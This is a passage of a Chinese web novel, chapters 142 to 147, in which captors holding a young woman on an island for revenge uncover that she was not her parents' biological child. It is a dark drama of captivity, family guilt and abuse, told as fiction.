给孩子的佛像,为什么她从来都没有见到过?
她的爸爸妈妈,一会儿慈爱善良抱着她,教育她要做一个好孩子。一会儿又变得面目狰狞,手中攥着珠宝眼里满是贪婪。
到底哪一面才是她真实的爸爸妈妈?
秋榕榕眼里所见,到底什么才是真实!
周景行温柔的四年是假象。
难道和爸爸妈妈温馨相处的十几年也是假象吗?
一生都活在别人构建的谎言里,多么的可悲。
第142章 童年
“爸爸妈妈永远爱着你,你是我们最爱的孩子,是怜悯也是宽恕。因为你的出现,我们才能继续走下去。”
“我的孩子,不要作恶,不可作恶。你要做一个心地善良的好人,永远不要伤害别人。”
秋榕榕听见爸爸妈妈的声音,他们伸出手拥抱着她,亲吻她的脸颊,夸她是个好孩子。
他们又说。
「爱是恒久忍耐,又是恩慈。」
「榕榕,你是个好孩子,再等等,好人一定会有好报的。」
眼前的大佛逐渐消散。
秋榕榕沉沉地睡过去,又重新获得安宁。
“怎么又发烧了?”
有人抚摸她的额头,又把冰凉的水银温度计放进她的腋窝下。
“估计是吓的。”
“胆子真小。”
“毕竟是普通人,上一个亲眼见到我行刑的,已经真疯了。”
秋榕榕这场病来势汹汹,高热退去之后,嗓子哑了,咽口水就像是吞刀子,也没法正常说话。
她喝完川贝枇杷膏后,趁着中午天气没那么冷把窗户打开通风。
周景行这几天想问秋榕榕以前的事情,他早就把秋榕榕的过去查得一清二楚,从幼儿园,到小学,再到初中,她平时喜欢去哪个乐园玩,喜欢吃哪家的麻辣烫,喜欢什么款式的衣服,身边交了哪些朋友,他都清清楚楚,明明白白。
他手里拿着她童年的照片,那个时候她的下巴还没有这么尖,小脸圆圆的有肉,嘴角吃的蛋糕还没有擦干净,头上戴着纸皇冠,扎着两个俏皮的羊角辫,对着镜头比“耶”。
身上的衣服虽然普通,但是干净整洁。
怎么看都是爸爸妈妈捧在手心里的小女孩。
她有着幸福的过去,从她父母看她的眼神就能知道,她的父母是真心爱着她的。
周红霞信誓旦旦地说,秋夫人从翡翠玉佛底下抠出一小块翡翠后,一定会给自己未出生的孩子。
重刑压身,周红霞在昏迷之前都是这套说辞,她一开始还想活,到最后疼得只想一**之,应该不会说谎。
沈砚川也在国内调查过,当年被那伙人偷出去贩卖的物品,没有翡翠吊坠。
既没有卖出去,又没有留给秋榕榕,那东西在哪里呢?
周景行隐隐约约有些焦躁不安,他自从开始复仇后,已经很少会有这种感觉,今天又浮上心头,周景行觉得有事情在偏离预定的轨道。
还有件事情,他知道,但因为觉得不重要就忽略了。
那就是,秋榕榕口中的父母,和穷凶极恶的盗贼差距太大。
作恶的人,怎么会那么快就幡然醒悟去忏悔?
仅仅只是因为一个孩子降生吗?
沈砚川在国内被谭松和姜雨薇缠得心焦,又因为他们抓到了周红霞,他只能暂时放下国内的事情,又坐飞机飞了回来。
“线索应还在秋榕榕身上,你多和她聊聊往事,她的父母没和她说,有些线索可能她自己都意识不到。”
沈砚川动作娴熟地泡茶。
周景行端起一杯茶,用杯盖撇了撇茶叶沫,指腹抚摸着白瓷茶杯的边缘,缓缓说道:“她最近发烧,嗓子坏了,说不了话。”
“那就让她写。”沈砚川动作优雅地将自己面前的一套茶具摆放整齐。
周景行摇头:“不能用审问的语气让她交代这些事情。
她能想起来的事情已经全部告诉我,无所隐瞒。
翡翠玉佛的事情她是真的不知道,现在只能靠她慢慢引导回忆,然后我们在她的回忆中寻找蛛丝马迹。”
沈砚川推了一下挺翘鼻梁上的眼镜,“等找到那枚失落的芯片,掌握着那些重要人物的丑闻,我们今后将顺风顺水,再也没有人会和我们作对。”
贪欲如火,烧人身心。
他们现在已经越过父辈的财富,拥有着几辈子都享受不完的荣华富贵,但人心不足蛇吞象,他们仍执着于寻找那枚象征着全是地位与巨额财富的芯片,嫌锦上添花不够,嫌金山银海尚浅。
秋榕榕能察觉到,周景行这段时间对她温柔体贴不少,他平日里较为繁忙,留在岛屿的时间有限,但这段时间他似乎是推拒了所有工作,单独留下来陪伴她。
秋榕榕怕江无渡,江无渡这段时间便不出现在她的面前。<
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br>周景行没有追究之前秋榕榕拿枪威胁他的事情,他亲自给秋榕榕炖冰糖雪梨,润肺止咳。
“我那天看到了你儿时的照片,原来你小的时候也喜欢吃炸鸡汉堡这种高热量的快餐。”
周景行把话题往童年上面引。
秋榕榕特别注重养生,和小时候完全是两种习惯。
现在正值冬季,秋榕榕喜欢晒太阳,她坐在窗边,暖暖的阳光落在她肩头,像一层温柔的轻纱。
“小孩子都喜欢吃那些。”
“我爸妈烧饭都难吃,一开始还怀疑我挑食胃口差,所以才长得瘦巴巴的。后来带我吃了一顿炸鸡,才发现我胃口好得很,纯粹是他们两个做饭手艺太差。”
秋榕榕眼睫轻垂,嘴角弯起细微的弧度,极轻极淡的笑容,几乎不为人察,却柔和得令周景行移不开眼。
他看出来,她的童年真的很幸福。
秋榕榕嗓子还没完全好,但她提到过去的事情,还是会忍不住多说几句,“后来,他们嫌外面的东西油不干净,我妈去考了个厨师证,我老爸跟着网上学做甜点,小的时候把我喂得跟个胖球一样。”
秋榕榕的爸爸妈妈给过她完整的爱。
作为父母,他们以身作则,做慈善,帮助邻里,教育她要做一个与人为善的好孩子。
而严厉之中又有慈爱。
他们陪伴秋榕榕,耐心地辅导她写功课。
他们鼓励她,支持她的兴趣爱好,教她打架子鼓,每周都会带她去逛公园或者去游乐场。
绝对算得上称职的父母。
也正是因为秋榕榕的爸爸妈妈给了她完整的童年,才让她在今后遭遇苦难的时候,能咬着牙挺过来。
她还希望自己可以过上那样的日子。
秋榕榕追求新生活,她觉得无论何时她都有机会,可以重新开始。
周景行用勺子切割碗中已经炖到软烂的梨子,他天生有一副好看的骨相,足够的柔和却又不够明亮,像是夜里的微光,干净沉寂。
他本要引出她的过去,却又因为她的回忆,想起了自己在火中死去的父母。
他也曾很幸福。
第143章 错误
“我的母亲也不喜欢请太多佣人在家里,家中有私厨,母亲却也经常煲汤给我喝。”
“同样的材料,同样的步骤,她做的在我心里,永远是别人模仿不来的味道。”
周景行从小就生活在锦衣玉食的环境里,家世显赫,父母在商政两界都拥有举足轻重的地位。
然而,与人们想象中那种盛气凌人的豪门不同,他的父母向来行事低调,不摆架子,不苛待人,连对佣人都以礼相待。
贵而不显,富而不奢。也养成周景行温柔克制的习惯。
说到这里,周景行的眼底浮现短暂的阴翳。
秋榕榕的父母毁了他本该拥有的幸福生活,她现在所遭遇的一切都是赎罪。
不知道不能作为脱罪的理由。
毕竟当年,他也是无辜地看着那场火势逐渐变大,烧毁一切他所在意的东西。
周景行留下秋榕榕,不是因为他变得更在乎她,想要和她化干戈为玉帛,而是因为她身上,还有他没能得到的东西。
一是芯片的线索。
二是,他还没能真正地摧折她的灵魂。
未完成心态作祟,让周景行觉得她不能就这么死去,他想看到她彻底破碎的模样,想把那双充满希望的眼睛变成一滩死水。
若只是一**命,只会留下满盘残局和无解的执念。
所以他一拖再拖,又是接近又是伤害。
周景行陪伴了秋榕榕大约半个月左右也没有寻找到蛛丝马迹。
秋榕榕很坦然。
她没有刻意隐藏过去。
那些和父母相处的细节,遥远到已经叫不出来名字的朋友,只要周景行问,她都会和他说。
他越是了解她,越是能够透过重重的岁月看见曾经健康光鲜秋榕榕。
而现在,她是雪地里开败的花,只残留着一丝余香,她不避讳自己的伤痕,也不掩饰自己枯萎的部分,把自己摊开,任由他一页页翻读。
他读到童年阳光灿烂的一页,也读到青春期悸动心思的一页,读到她被疼爱时的张扬,也读到她失去所有后的沉默。
她就这样淡然地将自己交还给命运。
顺势而为。
“我的爸爸妈妈在每年七月半的时候都会回山里烧纸钱,城里现在不给烧了,只能回老家……”
周景行帮她把塞在衣服里的围巾抽出来,“你也跟着去吗?”
秋榕榕摇头,“我没有,妈妈说山里蚊子多,我又有点蚊虫过敏,每次被蚊子咬过之后就会肿很大一个包,所以他们从来不带我。”
“现在都是公墓了。”
“是啊,以前还有小坟包。”
在周景行还没有暴露真面目的那四年,他们经常像现在这样,有一搭没一搭地聊着一些没有意义的细碎往事。
秋榕榕以前很喜欢周景行所刻意展露出来的温柔,和他在一起不会吵架,生活细水长流,他的身上有她所需要的平静。
后来物是人非,他们和当年一样,聊起这些事情,心态却已完全不同。
“他们去哪里上坟?”
“我没跟过去,不知道。”
“你说的山里是哪里?”
秋榕榕还是摇头。
周景行嘴角下压了一点,眼睛微眯,神色由柔和转为审视。
秋榕榕抬起头,有些迷惑地望着他:“你怎么了?”
周景行低头看了她一眼,唇角仍是笑的,声音也温和如常:“突然想起还有点事。你先休息。”
话音刚落,他起身离开。
秋榕榕看着他离去的背影,端起桌子上已经放温的冰糖雪梨,咳了两声,用勺子舀着雪梨汤,小口小口地喝下去。
电视机里此刻正在播放着电影《恐怖游轮》。
故事里的女主人公一次又一次地杀死自己,又一次又一次回到过去。
放不下的执念,陷入永世轮回之中。
秋榕榕不看恐怖片,但他们不给她用手机,这里的电视台也没有什么好看的节目,她只能守着电影频道,看这些免费的电影。
没得选。
周景行走到门外,脸上的笑渐渐褪去,眸色彻底冷了下来。
他掏出手机,拇指划过通讯录,拨通沈砚川的电话,“你回一趟国,去查一下这些年来秋榕榕的父母在每年七月半出行
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的车票或者过路费,看他们到底在祭拜什么。”
“好。”沈砚川答应下来。
等待答案的期间是焦灼的。
沈砚川按照这条线索往下查。
他竟然查到,秋榕榕的父母会在每年的七月半鬼节时,回到归墟市。
他们会定期拜访一个对外宣称会算命的江湖骗子,然后买上红烛纸钱进山里祭拜。
那座山,就是当年归墟市着火的富人区背靠的那座山。
沈砚川看着手中的资料,眼神复杂。
他给周景行和江无渡各打了一个电话,汇报现在的情况,然后他觉得亲自上山,去查他们到底在祭拜什么东西。
别墅的负二层地下室里。
周红霞和周淮远被关在一起。
周淮远身上满是鞭伤,他有自闭症,生活不能自理,之前是家里的护工照顾他,秋榕榕也会帮忙把他收拾干净。
现在,他被关起来,没有人来看他,他痴傻的状况更严重,裤子上已经布满污渍,整个人恶臭难闻,也没人来帮他更换。
周红霞护着自己的断腿靠在拐角处,用仅剩的那只眼睛看着自己蠢笨又无用的儿子,又是笑又是哭。
周淮远一开始还会叫她妈妈。
他嘴里一直喊着害怕。
周红霞咒骂他,让他滚。
她恨不得自己没有这个儿子。
周红霞骂得多了,周淮远不知道自己做错了什么被厌恶,他只能缩在离周红霞最远的角落里,把头深深埋进臂弯,像一只受了惊吓的小兽,瑟瑟发抖。
江无渡喜欢看仇人之间的人伦惨剧。
“这可是你的亲儿子,你还真是一点都不留情面。”
江无渡没有接近关押他们的牢房,那里味道实在是太难闻,混杂着血腥、馊了的饭菜和屎尿,他有点洁癖,不喜欢脏东西。
周红霞咬着牙说道:“江无渡,要打你就狠狠打!把他打死也好!你们拿他出气,然后放我一条生路吧!拿他的命换我的命!”
“他是我生的!要不是因为他我也不会去干那些事情……这些年他拖累我多少?他欠我的,就该还!”
第144章 亡魂
周红霞觉得自己沦落到今天这个地步,一切悲剧的起源就是因为自己生下了一个自闭症的孩子。
当年,周红霞青春年少,是他们学校有名的校花,只可惜原生家庭不好,心比天高,却又融不进她想融的圈子。
周叔叔和她是校友,人长得高大英俊,家境一般,比较有才华,他在一众富家小姐里,看中和自己同样清贫的周红霞。
两人在毕业之后结了婚。
一开始,有情饮水饱。
他们虽然同样家境普通,但两人都比较有才华,帮别人打工,日子倒也过得不下去。
贷款买了套小房子。
后来又买了二手代步车。
两人忙忙碌碌,也攒下了一点小钱。
只不过几年过去,和他们考了同样学校的校友升官的升官,发财的发财,只有他们在原地踏步,每个月领个死工资,日子过得没长进。
激情退去之后,风花雪月就变成柴米油盐。
二人之间开始有了争吵。
周叔叔怪周阿姨没有当年的美丽大方,性格逐渐刻薄。
周阿姨说:“当青春不在的时候,你希望我用什么来维持美丽?你有本事给我充一万的美容卡呀!
我每天九九六的加班,陪客户喝酒喝到胃出血,我就得刻薄,就得难说话,我要是不能说话的话,那些本该属于我的项目早就被人抢走了!”
周阿姨怪周叔叔和外面的女的暧昧不清,没有边界感。
他同样歇斯底里,恶狠狠地把玻璃杯摔在地上,溅起无数碎片。
“我每天在外面当孙子一样陪领导,你一个又一个的电话打过来,整天疑神疑鬼的!
家里的房贷和车贷都压在我的头上,我妈得了癌症,我都因为加班没有办法回去陪她!
这日子你到底能不能过?能过就过,不能过咱们就离!
当年喜欢我的女人中,也有有钱的,我没选,我是因为爱情才选了你!可你现在有关心过我一句吗?
整天都是钱,我看你是掉进钱眼里去了!”
周红霞那一天,看着满地的碎片无人收拾,又见周叔叔说出心里话后愤怒地摔门而去,心凉了半截。
当年追求她的富二代也是一只手都数不过来。
是他们共同选择了彼此,现在凭什么他先说后悔?
二人因为这次争吵,差点分崩离析。
直到周红霞怀孕,她被单位开除,失去工作,原本剑拔**张的关系才有了缓和。
周叔叔回来道歉,周阿姨因为这个孩子暂时选择原谅。
似乎是为了孩子,两个人都有了奔头。
周叔叔更加努力工作,出差也会及时报备,给周阿姨安全感。
周阿姨为了肚子里的孩子,不再经常生气,也开始像以前一样关心周叔叔。
两人平和地过了一年。
直到周淮远出生。
一个自闭症的孩子,生在两个心高气傲,却又贫穷的家庭。
这无疑是灭顶之灾。
周红霞气急攻心晕倒过好几次,她心疼自己的孩子,哭诉自己悲惨的命运。
周叔叔也因为这个生病的孩子白了好几根头发。
两人卖房卖车,带孩子去看病。
可是自闭症根本看不好。
周红霞因为孩子生病需要人照顾,没有办法再出去工作。
周叔叔也因为孩子生病,在单位里的工作一再出错,被扣了好几次工资。
生活在一瞬间降到谷底。
直到那一天,周叔叔带着一张报纸回来。
“饿死胆小的,撑死胆大的。”
“我们的儿子的病治不好了。”
“再这样下去,这个孩子会拖累我们一起死。”
周红霞捂着脸痛苦地哭泣着,“那能怎么办呢?这是我们的孩子呀,我们总不能放弃他!”
“打工发不了财。”周叔叔脸上露出一闪而过的狠意,“我联系了几个曾经一起玩的高中同学,他们手中有一个能一夜发财的好项目,我们和他们一起干!”
他们说的便是**翡翠玉佛的事情。
他们抢了玉佛,放火**。
用卖翡翠玉佛分到的赃款,他
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们开公司,在短短时间内发家致富,雇佣佣人照顾周淮远,后来又生出健康的女儿。
只不过,周叔叔和周阿姨渐行渐远。
他们都知道,当年**放火的事情没有那么容易结束。
他们当时只图财,没想着害命。
那场火来势汹汹,他们谁也不想看到。
此后多年,周红霞寝食难安。
她觉得,总有一天会查到他们的手上。
日子过得久了,周红霞并把这一切的罪孽归在周淮远身上。
她越来越憎恨自己这个自闭症的儿子。
周淮远越来越能吃,越来越像猪。
周红霞也越来越不想回家。
她觉得,如果不是为了他,她也是名校毕业的高材生,不会那么快因为怀孕被早早裁员,也不会为了治好他的自闭症,去**放火。
周红霞认为,自己的人生就是被周淮远毁掉的。
为了这么一个愚蠢的、丑陋的儿子,她竟然付出这么多,真后悔,肠子都悔青了!
因为这些心思,周红霞和周叔叔不回家,冷落了自己后来所生的小女儿。
以至于小女儿受欺负,状态不正常,跳喝**时,他们都不知道,还以为自己的女儿只是闹别扭,离家出走。
那段时间,他们感觉到有人在追查当年火灾案件,周红霞果断选择抛弃周淮远,独自逃亡。
而周叔叔,也准备找到自己的小女儿之后一起离开。
周景行是用他们小女儿的假消息迷惑周叔叔,才逮到他,把他撞到高位截瘫,然后再带回来的。
周红霞由于更擅长逃避,她躲过了这一劫。
只是没想到兜兜转转,她又被抓了回来。
沈砚川重新回到归墟市。
他带着保镖,按照当年的线索找到了山上秋家父母曾经祭拜过的地方。
那里没有坟,甚至连土包都已经平了。
“挖。”沈砚川撑着黑伞,此时山中下着蒙蒙细雨,“把这一整片全部挖掉,我倒要看看,他们每年七月半到底在祭拜谁的亡魂!”
第145章 预兆
沈砚在之后的很多年都会回想起这一天,他觉得不该来,上山的时候正好遇到下雨,雾蒙蒙,阴沉沉的,又细又凉的雨丝从他的衬衫领口里飘进去,侵蚀着他。
车子开到一半,山上的石头轰隆隆滚落,正巧砸在进山的公路上。
是他命人把石头搬开。
还有那些跳在引擎盖上的猴子。
都似乎在预示着沈砚川不应该进山。
但那个价值连城的芯片,引诱着他进山。
现在已经不允许土葬,山上早就没有坟包。
归墟市限制多,山上的树不能随便砍伐,他派出那么多人,搜寻了三天三夜,才找到骨灰坛。
骨灰坛里,有沈砚川要的翡翠吊坠。
“骨灰……吊坠……不可能吧。”沈砚川的心坠入谷底。
周红霞说过,秋夫人当时偷偷留下来这个吊坠,就是为了给自己肚子里的孩子。
秋榕榕没有这条吊坠。
吊坠要在骨灰坛里。
他握伞的手紧了紧,往骨灰弹的方向多走了两步,树枝挂住他的雨伞,伞往旁边倾斜,他抬头看着黑压压的天出神。
如果是秋夫人肚子里的孩子早已死去,那秋榕榕又是怎么回事儿?
如果寻错了仇……沈砚川赶紧收回心神,不敢细想。
沈砚川将翡翠吊坠找到的事情告知周景行和江无渡,至于骨灰和秋榕榕的身份,他只是简单说明情况,告诉他们,他还需要接着查探。
他让人将挖坑的地方复原之后,前去见了秋家夫妇每年都会去拜访的江湖骗子。
那老骗子当年风餐露宿,现在却开一个咨询公司,干算命都已经干成连锁店,梳着油头,西装革履,再配上一个标准的墨镜装半瞎。
沈砚川不会像在国外那么野蛮,他只是稍微税务问题威胁了一下他,那老骗子便把当**情全部和盘托出。
那老骗子抖若筛糠,把眼睛里用来装瞎子的隐形眼镜抠下来,搓着手说道:“天地良心,我只是从他们手里赚点钱。
他们的孩子生下来就是死胎,那对夫妻像是做了亏心事,夜夜睡不着梦见死婴,才找到我的。
我只是告诉他们,把小孩的骨灰埋在……埋在……哎呀,时间太久远我也记不清楚了,反正就是随便指了一个地点。
他们病急乱投医,相信我的话把小孩埋在那里,之后,就把我当成大师,因为每次都有钱拿,我就陪他们一起装下去。
其实也有效,不是吗?他们每年过来祭拜一下小孩,再给我一点辛苦费,我陪他们聊聊天,这天经地义。
再说了,他们已经很多年没有过来找我,事情都已经过去了,你可不能再找我算账!”
“他们有几个孩子?”沈砚川斯斯文文坐在沙发上,白衬衫领口扣得严丝合缝,眼镜后细长双眸目光冷静。
“就一个。”老骗子每说一句话都要抬头看一下沈砚川脸上的神色,生怕自己哪句话说错,惹得他不高兴。
“不是双胎?”
“这我也不清楚。”
沈砚川脸上的表情倏然冷下来。
他不喜欢别人骗他。
尤其还是被欺骗那么久。
这会让他觉得自己愚蠢。
沈砚川从骗子那里离开后,等待手下去找当年帮秋夫人接生的医生期间,他摘下眼镜,去清吧喝酒。
他一直都不是表现出来的那么正经。
他衣服穿得整齐,不近视却要佩戴眼镜,上进求学,私生活检点,圈内一任谁和他交往的,都会夸他一句洁身自好,但实在无趣。
只有身边最亲近的几个人才知道他内心和他表现出来的,是截然相反的两个人。
他真正想做的,是谭松那样的。
不需要伪装,不用在乎名声,想玩什么就玩什么,想做什么就做什么,自由自在。
要不然,他也不会和谭松假意做这么多年的朋友。
沈砚川拒绝了过来想和他一起喝酒的美女,他晚上还有工作要处理,就算是喝酒也是浅尝辄止,处在微醺的状态便起身离开。
他又想起,当年给秋榕榕补课的时候,她偷偷吐槽他好装。
秋榕榕单手撑着脸,歪头看他:“你比我哥还小两岁,为什么总
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要装成老学究的样子?难道学习好的都喜欢装成熟吗?”
沈砚川用戒尺打她的手掌心,“同样的题型,你又写错了。”
他有些严肃,端着老师的架子。
那时,秋榕榕还不怕他。
她拿起试卷,睁着水灵灵的眼睛盯着最后大题上的那个红叉感叹,“像这种很明显用来拉开分数的难题,又难解又耗时间。
还不如把复习的时间用在巩固常规题型上,这种明显拿不到的分,我就不苛求自己了。”
“你应该提升对自己的要求。”
她一边低头更正错题,一边说道:“能做到八分已经很优秀,不要求十分。”
秋榕榕并不懒惰,她勤劳,但又不会像沈砚川那样,把自己往极限里逼。
她讲求差不多,还可以。
秋榕榕从来不会为难自己。
沈砚川回到车上,他喝了酒不能开车,便只是坐在后排。
车子驶入城市公路,窗外的树影在车灯下摇曳。
他靠着座椅闭目养神,却始终无法让脑海空白。
离开那座山之后,沈砚川总是会想到秋榕榕。
他几乎可以断定,秋榕榕并非秋家夫妇的亲生女儿。
但没有确凿证据之前,他不会妄下结论。
只是,如果真如所想,如果秋榕榕真的和秋家没有血缘关系,那他们这一段时间对她做下的一切,又算什么?
他们在折磨一个与仇人无关的人。
他们本来就乱杀无辜,但事态脱离原本的计划,哪怕仅仅偏离一寸,也足以令他烦躁不安。
事实上,在周景行揭穿谎言的那一刻,他就想说,杀了她。
干脆利落地,杀了这个仇人的女儿,让她带着尚未反应过来的震惊一起下地狱。
可周景行不肯。
他说一枪太便宜她了。
他要她活着。
留的太久,才会产生今天这个尴尬的局面。
会动摇,会失控。
沈砚川将车窗玻璃打开,吹着外面的晚风。
他是一个极求讲究结果的人,此时此刻,却不想再查下去。
第146章 身世
周景行是在三天后,拿到沈砚川发送了完整调查报告。
上面显示,秋榕榕并非秋家夫妇的亲生女儿。
当年,秋夫人卖掉翡翠玉佛后不久,就见红破水,被就近送进归墟市附近县城的小医院,所生的孩子因为羊水污染,胎心异常,还没来得及剖宫产,就重度窒息死亡。
她躺在产床上,四周一片死寂。
医生委婉地告诉她孩子已死的那一刻,她的身体就多了一道永远也缝合不了的裂缝,从她的胸口撕开,冷风呼啦啦吹入,从心口的位置一直蔓延到四肢百骸。
子宫是空的,是被掏空的洞,血仍在流,她的世界彻底崩塌。
那个小小的、没有啼哭的婴儿。
她十个月的期盼、几百个夜晚的胎动、无数个幻想中“妈妈”的第一次回应。
但此刻,一切都化为泡沫。
“报应,都是报应!”
“周家那个孩子几年前生出来,是个自闭症。”
“我的孩子也**。”
“是我们做尽了坏事,是我……是我欠下太多债,才让老天把刀落在他身上。”
“不该放那一场大火的,那些钱都是买命钱!是那些有罪的钱带走了我孩子的命!”
“我的孩子才那么小,还没能够睁开眼睛看看这个世界,就被我拖进无边的孽海里。”
“呜呜呜……如果有报应的话……老天爷你惩我就好,我活该,我有一万种死法,为什么偏偏报应在我孩子的身上?”
秋夫人身体的每寸骨节都在痛。
但更痛的,是心。
那个地方像是空了,穿堂风可以从她的身体里刮过去,又像被千斤巨石压着,沉沉得让她喘不过气来。
秋爸爸抹着眼角的泪。
他跪在病床前,像条筋骨尽碎的流浪狗。
一时贪念,是因果,是报应,是命运的回响。
病房的光线昏黄,天花板的灯一闪一闪的,照得秋夫人脸色惨白。
这座小县城的医院病房,供奉着神龛,神龛里摆着一尊铜胎佛像,巴掌大小,外层原本应该有金漆,现在已经斑驳。
唯独那佛像的眼睛,低垂着,慈悲地注视着病房里的人间疾苦。
秋爸爸看着那尊佛像,忽然跪爬到佛像面前,额头贴着冰冷的地面。
这尊佛像摆在病房里,已经经过无数人的跪拜。
“千错万错都是我的错,是我拿了那尊翡翠玉佛,举头三尺有神明,我竟然愚蠢地在玉佛的注视下行偷窃之事……”
“我就该知道……这个世界,有眼睛在看着。”
“如今报应在我的孩子身上,不能这样,不该这样的!”
“他小小的身体,无法承担那么沉重的罪业。”
“我知道死去的人已经不可能再回来,只求冤有头,债有主,我和我老婆将有余生赎着成罪过,只求我的孩子来生再投胎,投胎到至善之家,而我入畜生道,我死**畜生道接着赎罪!”
万法皆空,因果不空。
种种因果,自作自受。
欠下的债,不是他还,就是他最爱的人替他还。
时间已经过去太久。
当年那家帮秋夫人接生的县城医院也已经停止营业。
旧的楼早就被拆除,现在在原址上建立起儿童游乐园。
周景行手中的调查报告无法还原出当时秋家夫妇的痛苦。
上面就冷冰冰的几行文字,附带着一些证据照片和录音资料。
得出唯一的结论:秋榕榕不是他们的亲生女儿。
这是一个低级错误。
他们三人当年决定复仇的时候,并不想牵扯到无辜的人。
那个时候,他们还没现在那么狠心,做坏事之前,会调查一下对方的身份,以防殃及无辜。
秋家并没有收养记录。
秋榕榕不是他们从孤儿院里带回来的,上的就是秋家户口,秋榕榕小的时候住院需要输血,她的血型和秋夫人相同,没人怀疑她不是亲生的。
周景行报仇,还真没有严谨到
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去做DNA检测。
周景行拨通沈砚川的电话,“秋榕榕的亲生父母是谁?”
“没查到。”
“你找到的骨灰坛才是秋家夫妇亲生的女儿吗?”
沈砚川叹了口气,“事情已经经过这么多年,所有人都**,骨灰也没有办法拿去做DNA检测,只能说按照当年发生的事情推测,确实是这个样子。”
“先找她的亲生父母。”
“这没有意义。”沈砚川觉得事情越查越麻烦,对他们也没有好处,“阿行,就这样结束不行吗?”
将错就错。
周景行不想这样。
他说:“既然秋榕榕和秋家人没有血缘关系,那放她一命吧。”
“她知道的太多了!”
“砚川,你不讨厌她,为什么这么急着想杀她?”
“我……”沈砚川没说出个所以然。
他只是怕失控。
“阿行,你在她身上耗费了太多的时间和心思,这很危险。”
“我有点喜欢她。”
沈砚川沉默,他其实感觉到了。
江无渡也觉察到,所以一再提醒。
周景行不再说话。
他心里只有一个想法,那就是绝对不可以把这件事情告诉秋榕榕。
他在内心一遍遍告诉自己:过去的事已成定局,回头没有意义。
他本来就不是好人。
滥杀无辜的事情,这些年他们做过不少,秋榕榕只不过是其中比较倒霉的一个。
周景行比任何人都清楚,道歉是不可能获得原谅的。
他每次**,那些人都会跪在他的脚边和他道歉。
他从未宽恕过别人,他也不觉得自己能获得秋榕榕的宽恕。
他不需要宽恕。
隐瞒下来就好了。
也是在此刻,周景行说出他有点喜欢秋榕榕这句话之后,竟然觉得无比的轻松。
他不用再维持着憎恨,可以稍微放松一些和她相处。
圈养她。
直到厌烦的那一刻为止。
第147章 异常
秋榕榕早晨正在给自己身上青紫的部分涂抹药膏,药膏冰冰凉凉的,缓解淤青部分的钝痛感。
昨天周景行不知道发什么疯,在她身上留下这些暧昧的痕迹。
他亲吻着她背部的伤痕,贴着她的耳边问她:“把这些疤痕祛掉吧。”
“已经不疼了,除了难看点,没有影响。”秋榕榕喘息着推开他,却再次被他缠上。
他的吻落在她肩头,像是不动声色的贪婪,又像是已经克制过后的柔情。
秋榕榕困倦地半阖着眼,躺在他怀里,发丝打湿了一小缕,贴在颈侧。
他的呼吸落在她耳边,温热安静。
他好像又变成了当年那个假装要和他谈恋爱的少年。
会低头轻轻地吻她的发顶,会伸手为她把滑落的肩头被子重新掖好。
帘子落了一半,屋里半明半暗,他的眼神也是,藏着柔和的光。
他有些异常。
像是有很多话想要和她说,但最终他一句话也没有讲。
只是亲了亲她的额头,抱着她在渐渐寒凉的季节里相拥而眠。
江无渡要把周红霞从地下室里送走,秋榕榕便猜到,他们已经得到了他们想要的东西。
她自身难保,也知道开口求情无用,便不做多余的事情。
周红霞被送走的时候,嘴里一直咒骂着周淮远。
“我不该生你的,真应该把你给打了……冤孽!讨债鬼!如果不是为了给你治病,我就不会沦落到现在这个地步!”
“呜呜呜……都是你的错,你毁了我的工作,毁了我的身材,毁了我的一辈子……”
她恨自己的儿子,深入骨髓。
她将要带着这份恨意死去。
哪怕入地狱,要诅咒周淮远不得好死。
周红霞被送走后,秋榕榕有意讨好周景行。
她见他坐在沙发上,壮着胆子蹑手蹑脚走过去。
绕到他身后,小心翼翼地伸出两只柔荑,轻轻搂住他的脖子,身体前倾,贴上他的肩。
“哥哥……”她声音很轻,带着一丝撒娇和试探,“能不能让周淮远洗个澡?让他从地下室上来住,好不好?”
秋榕榕对周淮远还是有感情的,他现在受伤,又没人照顾,她担心他会和周叔叔一样悲惨死去。
周景行侧头看了她一眼,没有立刻回答。
秋榕榕心里没底。
周景行没有把她的手推开,也没有回应秋榕榕的刻意讨好,眼底是让她琢磨不透的沉寂。
片刻后,周景行缓缓开口:“你想帮他?”
秋榕榕眼神闪烁,故作轻松,“哎呀,也算不上帮他,就是我留在这岛上怪无聊的,你工作烦忙,不能时时刻刻陪伴我,有他在,我能打发时间。”
“那我请假陪你。”
“呃……不了吧。”
周景行微不可察地勾起讥诮的笑。
秋榕榕赶紧找补,“不是不想你留下来,是事业为重。我要是勾得你连班都不去上,江无渡会找我麻烦的。”
周景行没接话,只是从茶几上拿起一个魔方,扔给她。
“把这个魔方复原,我就让他出地下室。”
“好,也行。”
周景行给她的是斜转魔方,比普通魔方难度高不少,秋榕榕没有手机无法寻找攻略,只能自己摸索。
秋榕榕能够随遇而安。
基本上,只要周景行不去找她的麻烦,她不会刻意搞事情,也不会随意起争端。
魔方难度太高,秋榕榕盘着腿坐在沙发上,尝试着复原了一个下午,结果腰酸背痛,两只眼睛发涩,也仅仅能做到复原一面。
六个面全部复原,秋榕榕不会。
她知道有个人会。
那就是沈砚川。
沈砚川是他们三个人中回别墅最少的人。
秋榕榕完全不知道他的行踪。
周景行把小七留在秋榕榕身边保护她。
所谓的保护,其实就是让江无渡别突然发神经找秋榕榕的麻烦。
小七嘴里叼着一根鸡腿的骨头,用牙齿咬开,把里面的骨髓吸出来,像极了村里的黑皮小土狗。
他会在秋榕榕用完餐之后,毫不嫌弃地吃她的剩饭。
小七饿过肚子,饭量大,从来不会浪费食物。
他看起来身量小,桌上的七八盘菜,却可以一个人全吃光。
“夫人,你身上的
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这些伤是怎么搞的?”
吃饭也堵不住他的嘴。
秋榕榕放下喝汤的勺子,面无表情地说道:“被你老板和他三个同伙害的。”
“周总看着没这么凶啊。”小七嘀咕了一句。
他跟着周景行的时间短,是沈砚川买下他,并把他安排在周景行身边的。
他的身上也绑着微型**。
那是黑色的项圈,和秋榕榕脖子上所戴的是同一个品牌不同型号。
他脖子上的那款便宜不少。
秋榕榕的贵,小七便以为秋榕榕身手不凡,是他们重要的人质。
但经过这几天观察试探,小七发觉秋榕榕就是普通人。
准确地说,是他老板的情人。
小七一口一个夫人叫着,是因为暂时没看清自己的老板对她是什么态度。
他先客气着,如果周景行厌弃秋榕榕,说不定会把她奖励给自己。
毕竟,小七之前的老板就是这么做的。
秋榕榕总觉得小七看自己的眼神很古怪,但他年纪比较小,她只当做**的人眼神都一样邪气。
她问道:“你可知沈砚川什么时候会过来?”
